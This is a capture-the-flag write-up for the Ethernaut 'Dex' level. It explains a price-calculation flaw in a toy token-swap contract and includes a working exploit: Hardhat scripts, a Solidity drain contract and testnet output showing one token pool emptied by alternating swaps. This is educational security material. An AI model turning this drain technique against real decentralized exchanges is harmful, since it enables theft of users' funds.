Ethernaut #22 Dex

Dex

Challenge

The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation.

You will start with 10 tokens of token1 and 10 of token2. The DEX contract starts with 100 of each token.

You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a “bad” price of the assets.

Quick note

Normally, when you make a swap with an ERC20 token, you have to approve the contract to spend your tokens for you. To keep with the syntax of the game, we’ve just added the approve method to the contract itself. So feel free to use contract.approve(contract.address, <uint amount>) instead of calling the tokens directly, and it will automatically approve spending the two tokens by the desired amount. Feel free to ignore the SwappableToken contract otherwise.

Things that might help:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract Dex is Ownable {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor() public {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }
  
  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

Background

This challange has what we would call a logic bug in binary exploitation. The bug is not really in exploiting some bad code but instead the logic allows the attacker to manipulate the outcome of the contract.

This is the first time I look at DEX code so I might be way off on this, but it seems that the price calculation is a bit flawed here. The price is supposed to be adjusted depending on the available liquidity in the DEX. However, if more than one token is bought at a given liquidity ratio, the same rate is applied for all of the tokens.

It seems to me that under normal circumstances the price needs to be re-adjusted for each token being bought and not for all of them collectivly at once. For example when the ratio Token1/Token2 is 10 to 1 that means that each token1 is now priced at 0.1 token2. If 10 are bought at once, the price will be 0.1 token2 for each, or 1 token2 for all, however, it should be 0.1 for the first token, then the ratio will become 9 to 1, so the second token should cost 0.11, then the ratio would become 8 to 1 so the next should cost 0.125 and so on, and so forth. This would result in a cost close to 3.

I’m not sure this would completely solve the problem due to the rounding issues that will emerge, but it certainly would not allow such huge swings.

Attack

In order to drain the one of the two tokens, one needs to buy as many of the one token and then the other over and over until the token is drained. There are two ways of doing this. This can be achieved both using a smart contract or offchain transactions.

Multiple Transactions

Smart Contract

During the development of the attack, I used offchain transactions as it was easier to play with, however, after the attack was developed, I wrote a smart contract that could do the entire thing in a single transaction in order to save on gas.

We should keep in mind that even though it requires less transactions in order to drain the walle, it needs an extra two transactions to transfer the the tokens to the contract. Wether or not it is worth it will depend on the amount of transactions required to drain one of the two tokens on the DEX.

Also, it a realistic senario it will very likely be worth optimizing the code. I did not bother much here and instead tried to keep it somewhat readable.

dex-solve.js

const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");

async function getDexState(dex) {
    token1Balance = await token1.balanceOf(dex.address)
    token2Balance = await token2.balanceOf(dex.address)
    console.log("========   DEX   ========")
    console.log("Token1 balance: " + token1Balance)
    console.log("Token2 balance: " + token2Balance)
    console.log("Token1->Token2: " + (token1Balance.eq(0) ? "N/A" : await dex.getSwapPrice(token1.address, token2.address, 1000) / 1000))
    console.log("Token2->Token1: " + (token2Balance.eq(0) ? "N/A" : await dex.getSwapPrice(token2.address, token1.address, 1000) / 1000))
}

async function getAccountAssets(account) {
    console.log("======== Account ========")
    console.log("Token1 balance: " + await token1.balanceOf(account.address))
    console.log("Token2 balance: " + await token2.balanceOf(account.address))
}

async function getState(account, dex) {
    // print state
    await getAccountAssets(account)
    await getDexState(dex)
    // console.log("********************************")
    console.log("")
}

async function approveFull(token, account) {
    // approve full token1 balance
    tokenBalance = await token.balanceOf(account.address)
    tx = await token.connect(account)['approve(address,uint256)'](contract.address, tokenBalance)
    receipt = await tx.wait()
}

async function swap(from, to, amount) {
    // swap tokens
    console.log(`Swapping ${amount} ${await from.name()} to ${await to.name()}`)
    console.log("")
    tx = await contract.connect(account).swap(from.address, to.address, amount)
    receipt = await tx.wait()
}

async function maxAmount(account, dex, from, to) {
    // calculate max amount
    amount = await from.balanceOf(account.address)
    dexToAmount = await to.balanceOf(dex.address)
    buyPotential = await dex.getSwapPrice(from.address, to.address, amount)
    if (buyPotential.gt(dexToAmount)) {
        amount = await dex.getSwapPrice(to.address, from.address, dexToAmount)
    }
    return amount
}

async function main() {
    dexAddress = "0x226D9Ec0E899905bcd5c7914B0D21BB24a9CeEb6";
    contract = await ethers.getContractAt("Dex", dexAddress);

    token1Address = await contract.token1()
    token1 = await ethers.getContractAt("SwappableToken", token1Address);

    token2Address = await contract.token2()
    token2 = await ethers.getContractAt("SwappableToken", token2Address);

    const accounts = await hre.ethers.getSigners();
    account = accounts[0];


    console.log("Level address     : " + contract.address)
    console.log("")
    await getState(account, contract)

    from = token1
    to = token2

    while ((await token1.balanceOf(contract.address)) != 0 && (await token2.balanceOf(contract.address)) != 0) {
        // swap all token1 to token2
        await approveFull(from, account)
        amount = await maxAmount(account, contract, from, to)
        await swap(from, to, amount)
        await getState(account, contract);

        [from, to] = [to, from]
    }

}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
$ npx hardhat run scripts/dex-solve.js --network rinkeby
Level address     : 0x226D9Ec0E899905bcd5c7914B0D21BB24a9CeEb6

======== Account ========
Token1 balance: 10
Token2 balance: 10
========   DEX   ========
Token1 balance: 100
Token2 balance: 100
Token1->Token2: 1
Token2->Token1: 1

Swapping 10 Token 1 to Token 2

======== Account ========
Token1 balance: 0
Token2 balance: 20
========   DEX   ========
Token1 balance: 110
Token2 balance: 90
Token1->Token2: 0.818
Token2->Token1: 1.222

Swapping 20 Token 2 to Token 1

======== Account ========
Token1 balance: 24
Token2 balance: 0
========   DEX   ========
Token1 balance: 86
Token2 balance: 110
Token1->Token2: 1.279
Token2->Token1: 0.781

Swapping 24 Token 1 to Token 2

======== Account ========
Token1 balance: 0
Token2 balance: 30
========   DEX   ========
Token1 balance: 110
Token2 balance: 80
Token1->Token2: 0.727
Token2->Token1: 1.375

Swapping 30 Token 2 to Token 1

======== Account ========
Token1 balance: 41
Token2 balance: 0
========   DEX   ========
Token1 balance: 69
Token2 balance: 110
Token1->Token2: 1.594
Token2->Token1: 0.627

Swapping 41 Token 1 to Token 2

======== Account ========
Token1 balance: 0
Token2 balance: 65
========   DEX   ========
Token1 balance: 110
Token2 balance: 45
Token1->Token2: 0.409
Token2->Token1: 2.444

Swapping 45 Token 2 to Token 1

======== Account ========
Token1 balance: 110
Token2 balance: 20
========   DEX   ========
Token1 balance: 0
Token2 balance: 90
Token1->Token2: N/A
Token2->Token1: 0

DexSolve.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.4;

import '../challenges/Dex.sol';
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract DexSolve {

    constructor() public {}

    function drain (address payable _dex) public payable {
        Dex dex = Dex(_dex);
        IERC20 token1 = IERC20(dex.token1()); // redundant but left for clarity
        IERC20 token2 = IERC20(dex.token2()); // redundant but left for clarity

        uint256 amount;
        IERC20 from = token1;
        IERC20 to = token2;
        IERC20 temp;
        
        while (token1.balanceOf(address(dex)) != 0 && token2.balanceOf(address(dex)) != 0) {

            uint256 fromBalance = from.balanceOf(address(this));
            from.approve(address(dex), fromBalance);
            amount = fromBalance;
            uint256 dexToAmount = to.balanceOf(address(dex));
            uint256 buyPotential = dex.getSwapPrice(address(from), address(to), amount);
            if (buyPotential > dexToAmount) {
                amount = dex.getSwapPrice(address(to), address(from), dexToAmount);
            }
            dex.swap(address(from), address(to), amount);

            temp = from;
            from = to;
            to = temp;

        }
    }

}

dex-solve2.js

const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");

async function getDexState(dex) {
    token1Balance = await token1.balanceOf(dex.address)
    token2Balance = await token2.balanceOf(dex.address)
    console.log("========   DEX   ========")
    console.log("Token1 balance: " + token1Balance)
    console.log("Token2 balance: " + token2Balance)
    console.log("Token1->Token2: " + (token1Balance.eq(0) ? "N/A" : await dex.getSwapPrice(token1.address, token2.address, 1000) / 1000))
    console.log("Token2->Token1: " + (token2Balance.eq(0) ? "N/A" : await dex.getSwapPrice(token2.address, token1.address, 1000) / 1000))
}

async function getAccountAssets(account) {
    console.log("======== Account ========")
    console.log("Token1 balance: " + await token1.balanceOf(account.address))
    console.log("Token2 balance: " + await token2.balanceOf(account.address))
}

async function getState(account, dex) {
    // print state
    await getAccountAssets(account)
    await getDexState(dex)
    console.log("")
}

async function main() {
    dexAddress = "0x226D9Ec0E899905bcd5c7914B0D21BB24a9CeEb6";
    contract = await ethers.getContractAt("Dex", dexAddress);

    token1Address = await contract.token1()
    token1 = await ethers.getContractAt("SwappableToken", token1Address);

    token2Address = await contract.token2()
    token2 = await ethers.getContractAt("SwappableToken", token2Address);

    const accounts = await hre.ethers.getSigners();
    account = accounts[0];

    DexSolve = await ethers.getContractFactory("DexSolve");
    dexSolve = await DexSolve.deploy();
    await dexSolve.deployed();

    tx = await token1.connect(account).transfer(dexSolve.address, await token1.balanceOf(account.address))
    receipt = await tx.wait()
    tx = await token2.connect(account).transfer(dexSolve.address, await token2.balanceOf(account.address))
    receipt = await tx.wait()


    console.log("Level address     : " + contract.address)
    console.log("")
    await getState(dexSolve, contract)

    tx = await dexSolve.drain(contract.address)
    receipt = await tx.wait()

    await getState(dexSolve, contract)
    
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
$ npx hardhat run scripts/dex-solve2.js --network rinkeby
Level address     : 0x226D9Ec0E899905bcd5c7914B0D21BB24a9CeEb6

======== Account ========
Token1 balance: 10
Token2 balance: 10
========   DEX   ========
Token1 balance: 100
Token2 balance: 100
Token1->Token2: 1
Token2->Token1: 1

======== Account ========
Token1 balance: 110
Token2 balance: 20
========   DEX   ========
Token1 balance: 0
Token2 balance: 90
Token1->Token2: N/A
Token2->Token1: 0

Success Message

As we’ve repeatedly seen, interaction between contracts can be a source of unexpected behavior.

Just because a contract claims to implement the ERC20 spec does not mean it’s trust worthy.

Some tokens deviate from the ERC20 spec by not returning a boolean value from their transfer methods. See Missing return value bug - At least 130 tokens affected.

Other ERC20 tokens, especially those designed by adversaries could behave more maliciously.

If you design a DEX where anyone could list their own tokens without the permission of a central authority, then the correctness of the DEX could depend on the interaction of the DEX contract and the token contracts being traded.